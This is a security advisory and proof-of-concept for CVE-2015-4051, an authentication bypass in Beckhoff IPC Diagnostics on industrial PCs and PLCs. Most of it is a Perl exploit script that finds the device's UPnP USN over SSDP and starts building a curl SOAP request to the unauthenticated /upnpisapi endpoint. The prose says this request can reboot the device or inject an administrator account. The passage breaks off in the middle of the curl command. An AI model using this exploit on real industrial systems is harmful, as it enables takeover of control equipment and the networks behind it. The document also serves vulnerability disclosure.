Beckhoff IPC diagnostics < 1.8 : Authentication bypass
======================================================

CVE number: CVE-2015-4051
Permalink: http://www.thesecurityfactory.be/permalink/beckhoff-authentication-bypass.html
Vendor advisory: http://ftp.beckhoff.com/download/document/IndustPC/Advisory-2015-001.pdf

-- Info --


Beckhoff IPC diagnostics is support software that is preinstalled on all Beckhoff Industrial PC�s (and PLC�s) that are running an embedded Microsoft Windows operating system. The software enables various system diagnostics options, as well the possibility to alter various settings.

-- Affected version --

IPC Diagnostics < Version 1.8

-- Vulnerability details --

Due to a lack of authentication when making a call to /upnpisapi, an unauthenticated attacker is able to perform a variety of actions on the system by sending a specially crafted packet. These actions include rebooting the device or injecting a new user that has admin access rights on both the underlaying embedded Windows and webserver. Further access can be obtained on the system by connecting to SMB / FTP / telnet / � using the injected user.

-- PoC --


#!/usr/bin/perl
use IO::Socket::INET;
use strict;
use warnings;
if ($#ARGV < 0) { print "Usage: ___FCKpd___0 ip\n"; exit(-1); }
system("clear");
print "Connecting to UPNP\n";
my $upnp_req = "M-SEARCH * HTTP/1.1\r\n" .
"Host:239.255.255.250:1900\r\n" .
"ST:upnp:rootdevice\r\n" .
"Man:\"ssdp:discover\"\r\n" .
"MX:3\r\n" .
"\r\n";
my $ip = $ARGV[0];
my $socket = new IO::Socket::INET ( PeerAddr => "$ip:1900", Proto => 'udp') or die "ERROR in Socket Creation : $!\n";
$socket->send($upnp_req);
my $usn;
while (1)
{
my $data = <$socket>;
print "$data";
# Get the USN
if ($data =~ /^USN:/) {
print "\nUSN seen. Trying to get it\n";
($usn) = $data =~ /^USN:uuid:(.*)::upnp:rootdevice/;
last;
}
}
print "\n\nUSN found: $usn\n\n";
print "Creating curl command\n\n";
my $curl_command = "curl -i -s -k  -X 'POST' " .
  "   -H 'SOAPAction: urn:beckhoff.com:service:cxconfig:1#Write' -H 'Content-Type: text/xml; charset=utf-8'  " .
" --data-binary \